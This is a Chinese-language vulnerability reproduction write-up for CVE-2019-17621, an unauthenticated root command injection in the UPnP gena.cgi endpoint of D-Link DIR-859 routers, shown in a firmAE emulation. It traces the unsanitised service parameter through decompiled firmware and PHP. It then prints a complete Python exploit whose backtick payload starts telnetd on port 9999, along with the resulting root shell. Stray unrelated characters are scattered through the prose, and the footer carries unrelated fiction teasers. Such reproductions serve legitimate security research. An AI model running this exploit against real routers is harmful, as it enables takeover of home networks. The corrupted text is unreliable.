CVE-2019-17621 dlink-822/855 命令注入漏洞復(fù)現(xiàn)

0x01 漏洞概述

1.簡介

D-Link DIR-859設(shè)備LAN層中出現(xiàn)未經(jīng)身份驗證的命令執(zhí)行漏洞(CVE-2019-17621)
nist通告 CVE-2019-17621 Detail

官方漏洞通告:
DIR-859 :: Ax :: FW v1.06b01_Beta01 and older :: CVE-2019–17621 :: Unauthenticated Remote Code Execution and CVE-2019-20213:: information Disclosure LAN-Side Security Vulnerability

2.漏洞研究版本

型號:DIR-859
固件版本:1.06b01 Beta01员舵,1.05
架構(gòu):MIPS 32位

3.受影響版本

image.png

0x02 firmAE 模擬環(huán)境搭建

用firmAE debug模式直接模擬固件運行環(huán)境:
$ sudo./run.sh -d ./DIR859Ax_FW106b01_beta01.bin
運行后在debug模式可以直接進入shell,方便調(diào)試:

0x03 漏洞原理

1. 定位漏洞位置

首先掃描端口:

 nmap 192.168.0.1
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-16 09:44 EDT
Nmap scan report for 192.168.0.1
Host is up (0.0066s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
443/tcp   open  https
49152/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds

查看tcp 49152端口對應(yīng)服務(wù):

# netstat -al
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       
tcp        0      0 dlinkrouter:49152       0.0.0.0:*               LISTEN      
tcp        0      0 dlinkrouter:80          0.0.0.0:*               LISTEN      
tcp        0      0 hgw:80                  0.0.0.0:*               LISTEN      
tcp        0      0 0.0.0.0:53              0.0.0.0:*               LISTEN      
tcp        0      0 dlinkrouter:8182        0.0.0.0:*               LISTEN      
tcp        0      0 0.0.0.0:63481           0.0.0.0:*               LISTEN      
tcp        0      0 dlinkrouter:443         0.0.0.0:*               LISTEN      
tcp        0      0 fe80::2de:faff:fe70:5ba9:49152 :::*                    LISTEN      
tcp        0      0 :::31338                :::*                    LISTEN      
tcp        0      0 fe80::2de:faff:fe70:5ba9:80 :::*                    LISTEN      
tcp        0      0 :::53                   :::*                    LISTEN      
tcp        0      0 fe80::2de:faff:fe70:5ba9:8182 :::*                    LISTEN      
tcp        0      0 :::63481                :::*                    LISTEN      
tcp        0      0 ::ffff:192.168.0.1:31337 ::ffff:192.168.0.2:58450 ESTABLISHED 
tcp        0      0 ::ffff:192.168.0.1:31338 ::ffff:192.168.0.2:33318 ESTABLISHED 

顯然httpd對應(yīng)多個端口服務(wù),但是49152具體是做什么服務(wù)的呢?
在解壓縮后的固件輸入指令grep -r '49152',顯然對應(yīng)upnp服務(wù)

image.png

同時臼节,查找httpd相關(guān)信息時:

$ grep -r "httpd"
l7-protocols/extra/httpdownload.pat:httpdownload
services/STUNNEL.php:/* prepare data for http to create httpd.conf (service STUNNEL) */ 
services/HTTP.php:$httpd_conf = "/var/run/httpd.conf";
services/HTTP.php:fwrite("a",$START, "xmldbc -P /etc/services/HTTP/httpcfg.php > ".$httpd_conf."\n");
services/HTTP.php:fwrite("a",$START, "httpd -f ".$httpd_conf."\n");
services/HTTP.php:fwrite("a",$STOP, "killall httpd\n");
services/HTTP.php:fwrite("a",$STOP, "rm -f ".$httpd_conf."\n");

注意到有httpd_conf文件,進入文件系統(tǒng)查看httpd.conf內(nèi)容,看到這段:

Server
{
        ServerName "Linux, UPnP/1.0, DIR-859 Ver 1.06"
        ServerId "LAN-1"
        Family inet
        Interface br0
        Address 192.168.0.1
        Port 49152
        Options { nodelay Off }                                 
        Virtual
        {
                AnyHost
                Priority 0
                Control
                {
                        Alias /
                        Location /htdocs/upnp/docs/LAN-1
                }
        }
}

進入路徑/htdocs/upnp/docs/LAN-1,查看文件夾下文件:

/var/htdocs/upnp/LAN-3 # ls -al
-rw-r--r--    1 root     0            3954 Nov 24 00:00 InternetGatewayDevice.xml
-rw-r--r--    1 root     0             920 Nov 24 00:00 Layer3Forwarding.xml
-rw-r--r--    1 root     0             219 Nov 24 00:00 OSInfo.xml
-rw-r--r--    1 root     0            5343 Nov 24 00:00 WANCommonInterfaceConfig.xml
-rw-r--r--    1 root     0             773 Nov 24 00:00 WANEthernetLinkConfig.xml
-rw-r--r--    1 root     0           12078 Nov 24 00:00 WANIPConnection.xml
lrwxrwxrwx    1 root     0              14 Nov 24 00:00 soap.cgi -> /htdocs/cgibin
lrwxrwxrwx    1 root     0              14 Nov 24 00:00 gena.cgi -> /htdocs/cgibin
drwxr-xr-x    4 root     0               0 Nov 24 00:00 ..
drwxr-xr-x    2 root     0               0 Nov 24 00:00

注意漏洞通告中的這句話:
The UPnP endpoint URL /gena.cgi in the D-Link DIR-859 Wi-Fi router 1.05 and 1.06B01 Beta01 allows an Unauthenticated remote attacker to execute system commands as root
能夠定位漏洞位于/htdocs/cgibin位置

2.程序分析

打開用binwalk解壓縮后的固件包屈张,用ida 7.5打開cgibin文件,看到main函數(shù)中有g(shù)ena.cgi的調(diào)用:


進入genacgi_main函數(shù)中袱巨,大概功能是v1接收傳入的REQUEST_URI的值阁谆,然后傳給v2,之后判斷v2前面的值是否是?service=,之后的值傳送給v4愉老,v4根據(jù)v0接受的REQUEST_METHOD,判斷進入那個子函數(shù)场绿。

假設(shè)進入第二個分支,進入sub_4100EC()嫉入,

通過snprintf傳送給了v6焰盗,之后v6進入xmldbc_ephp()璧尸。進入該函數(shù):

計算傳入的數(shù)據(jù)的長度,之后將傳入的數(shù)據(jù)的地址傳遞給子函數(shù)sub_414FB8()



傳入的數(shù)據(jù)對應(yīng)地址是子函數(shù)sub_414FB8的第四個參數(shù)熬拒,又作為()的第四個參數(shù)傳入:


進入sub_41490C()爷光,可以看到a4->v13,又作為第二個參數(shù)傳遞給sub_41484C(a1, v13, a5)處理澎粟,

image.png

進入之后發(fā)現(xiàn)被send出去,

查看send各參數(shù)含義:
ssize_t send(int fd, const void *buf, size_t n, int flags)
但是傳送給誰了呢蛀序?其實在這段代碼就有體現(xiàn)。根據(jù)參數(shù)對應(yīng)關(guān)系活烙,顯然傳入的數(shù)據(jù)?service=XXX中的xxx作為

snprintf(
      v6,
      0x200u,
      "%s\nINF_UID=%s\nSERVICE=%s\nMETHOD=UNSUBSCRIBE\nSID=%s\n",
      "/htdocs/upnp/run.NOTIFY.php",
      v3,
      a1,
      v4);

傳送給了run.NOTIFY.php中徐裸。
查看run.NOTIFY.php內(nèi)容

<?
include "/htdocs/phplib/upnp/xnode.php";
include "/htdocs/upnpinc/gvar.php";
include "/htdocs/upnpinc/gena.php";

$gena_path = XNODE_getpathbytarget($G_GENA_NODEBASE, "inf", "uid", $INF_UID, 1);
$gena_path = $gena_path."/".$SERVICE;
GENA_subscribe_cleanup($gena_path);

/* IGD services */
if      ($SERVICE == "L3Forwarding1")   $php = "NOTIFY.Layer3Forwarding.1.php";
else if ($SERVICE == "OSInfo1")         $php = "NOTIFY.OSInfo.1.php";
else if ($SERVICE == "WANCommonIFC1")   $php = "NOTIFY.WANCommonInterfaceConfig.1.php";
else if ($SERVICE == "WANEthLinkC1")    $php = "NOTIFY.WANEthernetLinkConfig.1.php";
else if ($SERVICE == "WANIPConn1")      $php = "NOTIFY.WANIPConnection.1.php";
/* WFA services */
else if ($SERVICE == "WFAWLANConfig1")  $php = "NOTIFY.WFAWLANConfig.1.php";


if ($METHOD == "SUBSCRIBE")
{
    if ($SID == "")
        GENA_subscribe_new($gena_path, $HOST, $REMOTE, $URI, $TIMEOUT, $SHELL_FILE, "/htdocs/upnp/".$php, $INF_UID);
    else
        GENA_subscribe_sid($gena_path, $SID,  $TIMEOUT);
}
else if ($METHOD == "UNSUBSCRIBE")
{
    GENA_unsubscribe($gena_path, $SID);
}
?>

注意第二段if 判斷,基本邏輯是判斷METHOD的種類啸盏,之后交給對應(yīng)函數(shù)處理重贺。該處理屬于做服務(wù)判斷然后訂閱事件。而GENA_subscribe_new的內(nèi)容定義在了/htdocs/upnpinc/gena.php中回懦。gena.php中的GENA_subscribe_new定義如下:

function GENA_subscribe_new($node_base, $host, $remote, $uri, $timeout, $shell_file, $target_php, $inf_uid)
{
    anchor($node_base);
    $count = query("subscription#");
    $found = 0;
    /* find subscription index & uuid */
    foreach ("subscription")
    {
        if (query("host")==$host && query("uri")==$uri) {$found = $InDeX; break;}
    }
    if ($found == 0)
    {
        $index = $count + 1;
        $new_uuid = "uuid:".query("/runtime/genuuid");
    }
    else
    {
        $index = $found;
        $new_uuid = query("subscription:".$index."/uuid");
    }

    /* get timeout */
    if ($timeout==0 || $timeout=="") {$timeout = 0; $new_timeout = 0;}
    else {$new_timeout = query("/runtime/device/uptime") + $timeout;}
    /* set to nodes */
    set("subscription:".$index."/remote",   $remote);
    set("subscription:".$index."/uuid",     $new_uuid);
    set("subscription:".$index."/host",     $host);
    set("subscription:".$index."/uri",      $uri);
    set("subscription:".$index."/timeout",  $new_timeout);
    set("subscription:".$index."/seq", "1");

    GENA_subscribe_http_resp($new_uuid, $timeout);
    GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $new_uuid);

查看GENA_notify_init的定義:

function GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $sid)
{

    $inf_path = XNODE_getpathbytarget("", "inf", "uid", $inf_uid, 0);
    if ($inf_path=="")
    {
        TRACE_debug("can't find inf_path by $inf_uid=".$inf_uid."!");
        return "";
    }
    $phyinf = PHYINF_getifname(query($inf_path."/phyinf"));
    if ($phyinf == "")
    {
        TRACE_debug("can't get phyinf by $inf_uid=".$inf_uid."!");
        return "";
    }

    $upnpmsg = query("/runtime/upnpmsg");
    if ($upnpmsg == "") $upnpmsg = "/dev/null";
    fwrite(w, $shell_file,
        "#!/bin/sh\n".
        'echo "[$0] ..." > '.$upnpmsg."\n".
        "xmldbc -P ".$target_php.
            " -V INF_UID=".$inf_uid.
            " -V HDR_URL=".SECURITY_prevent_shell_inject($uri).
            " -V HDR_HOST=".SECURITY_prevent_shell_inject($host).
            " -V HDR_SID=".SECURITY_prevent_shell_inject($sid).
            " -V HDR_SEQ=0".
            " | httpc -i ".$phyinf." -d ".SECURITY_prevent_shell_inject($host)." -p TCP > ".$upnpmsg."\n"
    );
    fwrite(a, $shell_file, "rm -f ".$shell_file."\n");

在fwrite函數(shù)檬姥,執(zhí)行的是往$shell_file寫入腳本,可以看到$uri $host $sid $host都做了檢查粉怕。但是在這里:

fwrite(a, $shell_file, "rm -f ".$shell_file."\n");

對傳入$shell_file并沒有進行檢查健民,自然通過"`"反引號進行命令注入。但是之前我們假設(shè)在genacgi_main進入的是第二個分支贫贝,即UNSUBSCRIBE秉犹,回顧第二個分支子函數(shù)sub_4100EC()中的關(guān)鍵代碼:

snprintf(
      v6,
      0x200u,
      "%s\nINF_UID=%s\nSERVICE=%s\nMETHOD=UNSUBSCRIBE\nSID=%s\n",
      "/htdocs/upnp/run.NOTIFY.php",
      v3,
      a1,
      v4);

并沒有shell_file的相關(guān)內(nèi)容。再回頭查看第一個分支sub_40FCE()的處理函數(shù):

 snprintf(
      v23,
      0x200u,
      "%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nSID=%s\nTIMEOUT=%d\nSHELL_FILE=%s/%s.sh",
      "/htdocs/upnp/run.NOTIFY.php",
      v2,
      a1,
      v3,
      v20,
      "/var/run",
      a1);

$shell_file的對應(yīng)值正是我們可控傳遞進的a1的值稚晚。

3. 參數(shù)傳遞過程

所以我們通過tcp 49152端口傳遞處理鏈?zhǔn)沁@樣的:
data->cgibin->cgibin.genacgi_main->sprintf($shell_file)->send->run.NOTIFY.php->gena.php($shell_file)
最后在.sh腳本執(zhí)行rm $shell_file時觸發(fā)命令注入崇堵。
$shell_file的值正是我們傳入的?service=xxxxxx的值。

0x04 exp利用

在firmAE模擬基礎(chǔ)上客燕,我們直接用研究員編寫的腳本:

import socket
import os
from time import sleep
# Exploit By Miguel Mendez & Pablo Pollanco
def httpSUB(server, port, shell_file):
    print('\n[*] Connection {host}:{port}').format(host=server, port=port)
    con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"
    request += "Host: " + str(server) + str(port) + "\n"
    request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n"
    request += "NT: upnp:event\n"
    request += "Timeout: Second-1800\n"
    request += "Accept-Encoding: gzip, deflate\n"
    request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"
sleep(1)
    print('[*] Sending Payload')
    con.connect((socket.gethostbyname(server),port))
    con.send(request.encode())
    results = con.recv(4096)
sleep(1)
    print('[*] Running Telnetd Service')
    sleep(1)
    print('[*] Opening Telnet Connection\n')
    sleep(2)
    os.system('telnet ' + str(server) + ' 9999')
serverInput = raw_input('IP Router: ')
portInput = 49152
httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')

由于路由器上就用telnet的客戶端鸳劳,啟動telnet服務(wù),并映射到9999端口也搓。
運行exp赏廓,運行結(jié)果如下:


[*] Connection 192.168.0.1:49152
[*] Sending Payload
[*] Running Telnetd Service
[*] Opening Telnet Connection

Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.


BusyBox v1.14.1 (2016-11-24 11:46:19 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.

# ls
root        www         sys         lib         dev
run         var         sbin        htdocs      bin
etc_ro      usr         proc        home        lost+found
firmadyne   tmp         mnt         etc

此時用nmap掃描該dlink路由器,發(fā)現(xiàn)已經(jīng)在9999端口開啟telnet服務(wù):

nmap 192.168.0.1
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-19 11:16 EDT
Nmap scan report for _gateway (192.168.0.1)
Host is up (0.0077s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
443/tcp   open  https
9999/tcp  open  abyss
49152/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末傍妒,一起剝皮案震驚了整個濱河市幔摸,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌颤练,老刑警劉巖既忆,帶你破解...
    沈念sama閱讀 217,277評論 6 503
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異,居然都是意外死亡患雇,警方通過查閱死者的電腦和手機跃脊,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,689評論 3 393
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來苛吱,“玉大人匾乓,你說我怎么就攤上這事∮帜保” “怎么了拼缝?”我有些...
    開封第一講書人閱讀 163,624評論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長彰亥。 經(jīng)常有香客問我咧七,道長,這世上最難降的妖魔是什么任斋? 我笑而不...
    開封第一講書人閱讀 58,356評論 1 293
  • 正文 為了忘掉前任继阻,我火速辦了婚禮,結(jié)果婚禮上废酷,老公的妹妹穿的比我還像新娘瘟檩。我一直安慰自己,他們只是感情好澈蟆,可當(dāng)我...
    茶點故事閱讀 67,402評論 6 392
  • 文/花漫 我一把揭開白布墨辛。 她就那樣靜靜地躺著,像睡著了一般趴俘。 火紅的嫁衣襯著肌膚如雪睹簇。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,292評論 1 301
  • 那天寥闪,我揣著相機與錄音太惠,去河邊找鬼。 笑死疲憋,一個胖子當(dāng)著我的面吹牛凿渊,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播缚柳,決...
    沈念sama閱讀 40,135評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼埃脏,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了喂击?” 一聲冷哼從身側(cè)響起剂癌,我...
    開封第一講書人閱讀 38,992評論 0 275
  • 序言:老撾萬榮一對情侶失蹤淤翔,失蹤者是張志新(化名)和其女友劉穎翰绊,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,429評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡监嗜,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,636評論 3 334
  • 正文 我和宋清朗相戀三年谐檀,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片裁奇。...
    茶點故事閱讀 39,785評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡桐猬,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出刽肠,到底是詐尸還是另有隱情溃肪,我是刑警寧澤,帶...
    沈念sama閱讀 35,492評論 5 345
  • 正文 年R本政府宣布音五,位于F島的核電站惫撰,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏躺涝。R本人自食惡果不足惜厨钻,卻給世界環(huán)境...
    茶點故事閱讀 41,092評論 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望坚嗜。 院中可真熱鬧夯膀,春花似錦、人聲如沸苍蔬。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,723評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽碟绑。三九已至涂佃,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間蜈敢,已是汗流浹背辜荠。 一陣腳步聲響...
    開封第一講書人閱讀 32,858評論 1 269
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留抓狭,地道東北人伯病。 一個月前我還...
    沈念sama閱讀 47,891評論 2 370
  • 正文 我出身青樓,卻偏偏與公主長得像否过,于是被迫代替她去往敵國和親午笛。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,713評論 2 354

推薦閱讀更多精彩內(nèi)容